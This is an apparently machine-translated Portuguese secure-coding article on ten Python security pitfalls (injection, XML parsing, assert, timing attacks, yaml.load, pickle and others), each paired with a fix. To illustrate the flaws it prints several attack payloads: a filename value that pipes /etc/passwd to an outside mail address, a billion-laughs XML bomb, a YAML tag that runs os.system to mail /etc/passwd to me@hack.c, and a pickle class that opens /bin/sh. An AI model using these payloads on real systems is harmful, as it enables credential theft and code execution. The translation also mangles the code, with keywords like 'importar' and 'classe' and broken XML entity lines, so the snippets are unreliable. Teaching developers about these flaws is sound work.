10 pegadinhas comuns de segurança em Python e como evitá-las

Escrever código seguro é difícil. Quando você aprende uma linguagem, um módulo ou uma estrutura, aprende como ela deveria ser usada . Ao pensar em segurança, você precisa pensar em como isso pode ser mal utilizado . O Python não é uma exceção, mesmo dentro da biblioteca padrão existem práticas ruins documentadas para escrever aplicativos endurecidos. No entanto, quando falo com muitos desenvolvedores de Python, eles simplesmente não estão cientes deles.

Aqui estão meus top 10, em nenhuma ordem particular , pegadinhas comuns em aplicativos Python.

1. Injeção de entrada

Os ataques de injeção são amplos e muito comuns e existem muitos tipos de injeção. Eles afetam todas as linguagens, estruturas e ambientes.

Injeção de SQL é onde você está escrevendo consultas SQL diretamente, em vez de usar um ORM e misturar seus literais de string com variáveis. Eu li muito código onde "escapar de cotações" é considerado uma correção. Não é. Familiarize-se com todas as maneiras complexas como a injeção de SQL pode acontecer com esta planilha .

A injeção de comando é a qualquer momento em que você está chamando um processo usando popen, subprocess, os.system e obtendo argumentos de variáveis. Ao chamar comandos locais, existe a possibilidade de alguém configurar esses valores para algo malicioso.

Imagine este script simples [crédito] . Você chama um subprocesso com o nome do arquivo conforme fornecido pelo usuário:

 import subprocess 

def transcode_file (request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg' . format(source = filename)
subprocess . call(command, shell = True) # a bad idea!

O atacante define o valor do nome do arquivo como "; cat /etc/passwd | mail them@domain.com ou algo igualmente perigoso.

Consertar:

Sanitize a entrada usando os utilitários fornecidos com a estrutura da Web, se você estiver usando um. A menos que você tenha um bom motivo, não construa consultas SQL manualmente. A maioria dos ORMs incorporou métodos de sanitização.

Para o shell, use o módulo shlex para escapar da entrada corretamente.

2. XML de análise

Se seu aplicativo sempre carrega e analisa arquivos XML, as probabilidades são de que você esteja usando um dos módulos de biblioteca padrão XML. Existem alguns ataques comuns por meio de XML. Principalmente estilo DoS (projetado para travar sistemas em vez de vazamento de dados). Esses ataques são comuns, especialmente se você estiver analisando arquivos XML externos (ou seja, não confiáveis).

Um desses é chamado de “bilhão de risos”, devido à carga útil que normalmente contém muitos bilhões de “lols”. Basicamente, a idéia é que você pode fazer entidades referenciais em XML, portanto, quando seu analisador XML despretensioso tenta carregar esse arquivo XML na memória, ele consome gigabytes de RAM. Experimente se você não acredita em mim 🙂

 <? xml version = "1.0"> 
<! DOCTYPE lolz [
<! ENTITY lol "lol">
Lol2 "& lol;
<! ENTITY lol3 "& lol2; & lol2; & lol2; & lol2; & lol2; & lol2; & lol2; & lol2; & lol2; & lol2;">
<! ENTITY lol4 "& lol3; & lol3; & lol3; & lol3; & lol3; & lol3; & lol3; & lol3; & lol3; & lol3;">
<! ENTITY lol5 "& lol4; & lol4; & lol4; & lol4; & lol4; & lol4; & lol4; & lol4; & lol4; & lol4;" & gt;
<! ENTITY lol6 "& lol5; & lol5; & lol5; & lol5; & lol5; & lol5; & lol5; & lol5; & lol5; & lol5;">
<! ENTITY lol7 "& lol6; & lol6; & lol6; & lol6; & lol6; & lol6; & lol6; & lol6; & lol6; & lol6;">
<! ENTITY lol8 "& lol7; & lol7; & lol7; & lol7; & lol7; & lol7; & lol7; & lol7; & lol7; & lol7;">
<! ENTITY lol9 "& lol8; & lol8; & lol8; & lol8; & lol8; & lol8; & lol8; & lol8; & lol8; & lol8;">
]>
<lolz> & lol9; </ lolz>

Outro ataque usa expansão de entidade externa . O XML suporta referências a entidades de URLs externas, o analisador XML normalmente buscaria e carregaria esse recurso sem nenhum escrúpulo. “Um invasor pode contornar os firewalls e obter acesso a recursos restritos, pois todas as solicitações são feitas a partir de um endereço IP interno e confiável, não de fora.”

Outra situação a considerar são os pacotes de terceiros que você está dependendo do decodificador XML, como arquivos de configuração, APIs remotas. Você pode nem estar ciente de que uma de suas dependências se abre a esses tipos de ataques.

Então, o que acontece em Python? Bem, os módulos de biblioteca padrão, etree, DOM, xmlrpc estão todos abertos a esses tipos de ataques. Está bem documentado https://docs.python.org/3/library/xml.html#xml-vulnerabilities

Consertar:

Use defusedxml como um substituto substituto para os módulos da biblioteca padrão. Acrescenta guardas-seguros contra esses tipos de ataques.

3. Declarações de declaração

Não use declarações de afirmação para proteger contra partes de código que um usuário não deveria acessar. Tome este exemplo simples

 def foo (solicitação, usuário): 
afirma user.is_admin, “o usuário não tem acesso”
# Código de segurança...

Agora, por padrão, o Python é executado com __debug__ como verdadeiro, mas em um ambiente de produção é comum executar com otimizações. Isso irá ignorar a declaração de asserção e ir direto para o código de segurança, independentemente de o usuário ser is_admin ou não.

Consertar:

Use apenas instruções assert para se comunicar com outros desenvolvedores, como em testes de unidade ou para proteger contra o uso incorreto da API.

4. Ataques de tempo

Ataques de tempo são essencialmente uma maneira de expor o comportamento e o algoritmo, cronometrando quanto tempo leva para comparar os valores fornecidos. Ataques de temporização exigem precisão, portanto, eles normalmente não funcionam em uma rede remota de alta latência. Por causa da latência variável envolvida na maioria das aplicações web, é praticamente impossível escrever um ataque de temporização em servidores web HTTP.

Mas, se você tiver um aplicativo de linha de comando que solicite a senha, um invasor poderá escrever um script simples para avaliar quanto tempo leva para comparar seu valor com o segredo real. Exemplo

Existem alguns exemplos impressionantes, como este ataque de temporização baseado em SSH escrito em Python, se você quiser ver como eles funcionam.

Consertar:

Use secrets.compare_digest , introduzido no Python 3.5 para comparar senhas e outros valores privados.

5. Um pacote de sites ou caminho de importação poluído

O sistema de importação do Python é muito flexível. O que é ótimo quando você está tentando criar correções para seus testes ou sobrecarregar a funcionalidade principal.

Mas é uma das maiores falhas de segurança no Python.

A instalação de pacotes de terceiros em seus pacotes de sites, seja em um ambiente virtual ou nos pacotes de sites globais (o que geralmente é desencorajado) expõe você a falhas de segurança nesses pacotes.

Ocorreram ocorrências de pacotes sendo publicados no PyPi com nomes semelhantes aos pacotes populares, mas executando código arbitrário . A maior incidência, felizmente, não foi prejudicial e apenas "fez questão" de que o problema não está sendo abordado.

Outra situação a considerar são as dependências de suas dependências (e assim por diante). Eles podem incluir vulnerabilidades e também podem substituir o comportamento padrão no Python por meio do sistema de importação.

Consertar:

Examine seus pacotes. Veja o PyUp.io e seu serviço de segurança . Use ambientes virtuais para todos os aplicativos e garanta que seus pacotes de site globais sejam o mais limpos possível. Verifique as assinaturas do pacote.

6. arquivos temporários

Para criar arquivos temporários no Python, você normalmente gera um nome de arquivo usando a função mktemp() e, em seguida, cria um arquivo usando esse nome. “Isso não é seguro, porque um processo diferente pode criar um arquivo com esse nome no tempo entre a chamada para mktemp() e a tentativa subseqüente de criar o arquivo pelo primeiro processo.” [1] Isso significa que pode enganar o seu aplicação para carregar os dados errados ou expor outros dados temporários.

Versões recentes do Python irão gerar um aviso de tempo de execução se você chamar o método incorreto.

Consertar:

Use o tempfile módulo e usar mkstemp se você precisa gerar arquivos temporários.

7. Usando o yaml.load

Para citar a documentação do PyYAML:

“Aviso: Não é seguro chamar yaml.load com quaisquer dados recebidos de uma fonte não confiável! yaml.load é tão poderoso quanto o pickle.load e, portanto, pode chamar qualquer função do Python. ”

Este belo exemplo encontrado no popular projeto Python Ansible. Você pode fornecer o Ansible Vault com esse valor como YAML (válido). Ele chama os.system() com os argumentos fornecidos no arquivo.

 !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 

Portanto, o carregamento efetivo de arquivos YAML a partir de valores fornecidos pelo usuário deixa você livre para ataques.

Consertar:

Use yaml.safe_load , praticamente sempre, a menos que você tenha uma boa razão.

8. Pickles

A desserialização de dados de pickle é tão ruim quanto o YAML. Classes Python podem declarar um método mágico chamado __reduce__ que retorna uma string, ou uma tupla com um callable e os argumentos a serem chamados quando decapados. O invasor pode usar isso para incluir referências a um dos módulos do subprocesso para executar comandos arbitrários no host.

Este maravilhoso exemplo mostra como conservar uma classe que abre um shell no Python 2. Há muitos outros exemplos de como explorar o pickle.

 importar cPickle 
subprocesso de importação
importar base64

classe RunBinSh (objeto):
def __reduce __ (self):
return (subprocess.Popen, (('/ bin / sh',),))

print base64.b64encode (cPickle.dumps (RunBinSh ()))

Consertar:

Nunca desmarque dados de uma fonte não confiável ou não autenticada. Use outro padrão de serialização, como JSON.

9. Usando o tempo de execução do sistema Python e não corrigindo

A maioria dos sistemas POSIX vem com uma versão do Python 2. Normalmente, um antigo.

Desde “Python”, ou seja, CPython é escrito em C, há momentos em que o próprio interpretador Python tem buracos. Problemas de segurança comuns em C estão relacionados à alocação de memória, portanto, erros de estouro de buffer.

O CPython teve uma série de vulnerabilidades de overrun ou overflow ao longo dos anos, cada uma delas corrigida e corrigida em releases subseqüentes.

Então você está seguro. Ou seja, se você corrigir seu tempo de execução .

Aqui está um exemplo de 2.7.13 e abaixo , uma vulnerabilidade de estouro de inteiro que permite a execução de código. Isso é praticamente qualquer versão não corrigida do Ubuntu pré-17.

Consertar:

Instale a versão mais recente do Python para seus aplicativos de produção e corrija-a!

10. Não corrigindo suas dependências

Semelhante a não corrigir seu tempo de execução, você também precisa corrigir suas dependências regularmente.

Eu acho a prática de “fixar” versões de pacotes Python do PyPi em pacotes terríveis. A ideia é que “ essas são as versões que funcionam ”, então todo mundo deixa isso de lado.

Todas as vulnerabilidades no código que mencionei acima são tão importantes quando existem em pacotes que seu aplicativo usa. Desenvolvedores desses pacotes corrigem problemas de segurança. O tempo todo .

Consertar:

Use um serviço como o PyUp.io para verificar atualizações, aumentar solicitações de pull / merge para seu aplicativo e executar seus testes para manter os pacotes atualizados.

Use uma ferramenta como o InSpec para validar as versões instaladas em ambientes de produção e assegurar que versões mínimas ou intervalos de versão sejam corrigidos.

Crédito para RedHat por este ótimo artigo que usei em algumas de minhas pesquisas.